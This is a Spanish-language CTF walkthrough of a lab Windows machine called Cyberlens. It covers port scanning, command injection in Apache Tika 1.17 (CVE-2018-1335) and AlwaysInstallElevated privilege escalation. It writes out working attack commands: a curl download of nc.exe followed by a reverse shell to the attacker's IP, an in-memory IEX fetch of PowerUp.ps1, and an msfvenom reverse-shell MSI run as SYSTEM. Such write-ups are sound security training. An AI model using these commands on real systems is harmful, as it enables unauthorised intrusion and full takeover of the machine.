Cyberlens
En esta máquina, explotamos una vulnerabilidad CVE presente en Tika 1.17, lo que nos permite inyectar comandos en la máquina víctima. Para la escalada de privilegios, aprovechamos la configuración del privilegio AlwaysInstallElevated, logrando así obtener una shell con permisos de NT AUTHORITY/SYSTEM.
June 23, 20247 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
$ ping -c 1 10.10.53.55
PING 10.10.53.55 (10.10.53.55) 56(84) bytes of data.
64 bytes from 10.10.53.55: icmp_seq=1 ttl=127 time=42.2 ms
--- 10.10.53.55 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.175/42.175/42.175/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 127, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Windows
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.53.55 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.53.55
5 │ [*] Open ports: 80,135,139,445,3389,5985,7680,47001,49664,49665,49666,49667,49668,49669,49670,49677,61777
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
> nmap -p80,135,139,445,3389,5985,7680,47001,49664,49665,49666,49667,49668,49669,49670,49677,61777 -sCV 10.10.53.55 -oN versions
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Win64))
|_http-title: CyberLens: Unveiling the Hidden Matrix
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.57 (Win64)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=CyberLens
| Not valid before: 2024-06-22T15:52:11
|_Not valid after: 2024-12-22T15:52:11
|_ssl-date: 2024-06-23T15:59:13+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: CYBERLENS
| NetBIOS_Domain_Name: CYBERLENS
| NetBIOS_Computer_Name: CYBERLENS
| DNS_Domain_Name: CyberLens
| DNS_Computer_Name: CyberLens
| Product_Version: 10.0.17763
|_ System_Time: 2024-06-23T15:59:02+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp closed pando-pub
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
61777/tcp open http Jetty 8.y.z-SNAPSHOT
|_http-server-header: Jetty(8.y.z-SNAPSHOT)
|_http-cors: HEAD GET
|_http-title: Welcome to the Apache Tika 1.17 Server
| http-methods:
|_ Potentially risky methods: PUT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-06-23T15:59:02
|_ start_date: N/A
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
Dentro de la web del puerto 80 hay una subida de archivos.
Al subir un archivo nos muestra sus metadatos.
Si miramos el código de la web identificamos lo siguiente
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("metadataButton").addEventListener("click", function() {
var fileInput = document.getElementById("imageFileInput");
var file = fileInput.files[0];
var reader = new FileReader();
reader.onload = function() {
var fileData = reader.result;
fetch("http://cyberlens.thm:61777/meta", {
method: "PUT",
body: fileData,
headers: {
"Accept": "application/json",
"Content-Type": "application/octet-stream"
}
})
.then(response => {
if (response.ok) {
return response.json();
} else {
throw new Error("Error: " + response.status);
}
})
.then(data => {
var metadataOutput = document.getElementById("metadataOutput");
metadataOutput.innerText = JSON.stringify(data, null, 2);
})
.catch(error => {
console.error("Error:", error);
});
};
reader.readAsArrayBuffer(file);
});
});
Básicamente en el código analizamos que pasa nuestro archivo con el método PUT a http://cyberlens.thm:61777/meta para analizar sus metadatos.
Tenemos un dominio: cyberlens.thm. Asi que lo añadimos al /etc/hosts apuntando a la máquina víctima
Intrusión
Ya podemos entrar a http://cyberlens.thm:61777. Al entrar aparece el siguiente mensaje: *Welcome to the Apache Tika 1.17 Server
Con una búsqueda con searchsploit identificamos que es una versión vulnerable
searchsploit Tika 1.17
------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------- ---------------------------------
Apache Tika 1.15 - 1.17 - Header Command Injection (Metasploit) | windows/remote/47208.rb
Apache Tika-server < 1.18 - Command Injection | windows/remote/46540.py
------------------------------------------------------------------- ---------------------------------
Nos pasamos el exploit a nuestro directorio
searchsploit -m windows/remote/46540.py
Exploit: Apache Tika-server < 1.18 - Command Injection
URL: https://www.exploit-db.com/exploits/46540
Path: /usr/share/exploitdb/exploits/windows/remote/46540.py
Codes: CVE-2018-1335
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/d3bo/Desktop/cyberlens/46540.py
Al ejecutarlo da error
python3 /home/d3bo/Desktop/cyberlens/46540.py
File "/home/d3bo/Desktop/cyberlens/46540.py", line 13
print "Usage: python CVE-2018-1335.py <host> <port> <command>"
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?
El script hace un print sin paréntesis, esto indica que seguramente está programado en python2
python2 46540.py
Usage: python CVE-2018-1335.py <host> <port> <command>
Example: python CVE-2018-1335.py localhost 9998 calc.exe
Nos aparece el mensaje explicando como se usa. Para comprobar que podemos hacer un command injection intentaremos colar un ping hacia nuestra máquina, mientras que estamos en escucha por la interfaz tun0 filtrando por icmp, para detectar si nos llegan los pings desde la máquina víctima
Iniciamos tcpdump por la interfaz tun0:
sudo tcpdump -i tun0 icmp
Ejecutamos el exploit:
python2 46540.py cyberlens.thm 61777 'ping 10.9.2.46'
Y nos llegan los ping:
18:33:45.049652 IP cyberlens.thm > 10.9.2.46: ICMP echo request, id 1, seq 1, length 40
18:33:45.049759 IP 10.9.2.46 > cyberlens.thm: ICMP echo reply, id 1, seq 1, length 40
18:33:46.167193 IP cyberlens.thm > 10.9.2.46: ICMP echo request, id 1, seq 2, length 40
18:33:46.167226 IP 10.9.2.46 > cyberlens.thm: ICMP echo reply, id 1, seq 2, length 40
18:33:47.190951 IP cyberlens.thm > 10.9.2.46: ICMP echo request, id 1, seq 3, length 40
18:33:47.190971 IP 10.9.2.46 > cyberlens.thm: ICMP echo reply, id 1, seq 3, length 40
18:33:48.113067 IP cyberlens.thm > 10.9.2.46: ICMP echo request, id 1, seq 4, length 40
18:33:48.113096 IP 10.9.2.46 > cyberlens.thm: ICMP echo reply, id 1, seq 4, length 40
Ahora vamos a mandarnos una reverse shell.
Primero localizamos el nc.exe en nuestro sistema y nos lo copiamos en el directorio actual
locate nc.exe
/home/d3bo/Desktop/cyberlens/nc.exe
/home/d3bo/Downloads/nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
cp /usr/share/windows-resources/binaries/nc.exe .
Después iniciamos un servidor en python para poder luego descargar el archivo en la máquina víctima
python3 -m http.server 80
Nos ponemos en escucha para recibir la reverse shell
rlwrap nc -nlvp 443
Y ejecutamos el exploit
python2 46540.py cyberlens.thm 61777 'curl 10.9.2.46/nc.exe -o %TEMP%/nc.exe && %TEMP%/nc.exe -e cmd 10.9.2.46 443'
Lo que hace esto es que nos descargamos con curl el nc.exe en la máquina víctima en el directorio temp y después ejecutamos el nc.exe para mandarnos una reverse shell.
Escalada de privilegios
Al comprobar si tenemos el permiso AlwaysInstallElevated activado
PS C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
PS C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
Vemos que si está habilitado. Esto lo podríamos haber encontrado con winpeas, powerup.ps1…
PS C:\Users\cyberlens> IEX(New-Object Net.WebClient).downloadString('http://10.9.2.46/PowerUp.ps1')
PS C:\Users\cyberlens> Invoke-AllChecks
ModifiablePath : C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps
IdentityReference : CYBERLENS\CyberLens
Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH% : C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps
Name : C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps
Check : %PATH% .dll Hijacks
AbuseFunction : Write-HijackDll -DllPath 'C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'
Check : AlwaysInstallElevated Registry Key
AbuseFunction : Write-UserAddMSI
El hecho de tener este privilegio nos permite poder instalar cosas como administrador sin autentificación, para aprovecharnos de esto, creamos un .msi malicioso
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.2.46 LPORT=443 -a x64 --platform Windows -f msi -o evil.msi
Nos lo pasamos a la máquina víctima
curl 10.9.2.46/evil.msi -o evil.msi
Nos ponemos en escucha
rlwarp nc -nlvp 443
Ejecutamos el .msi
.\evil.msi
Nos llega la shell como
nt authority\system
Máquina completada!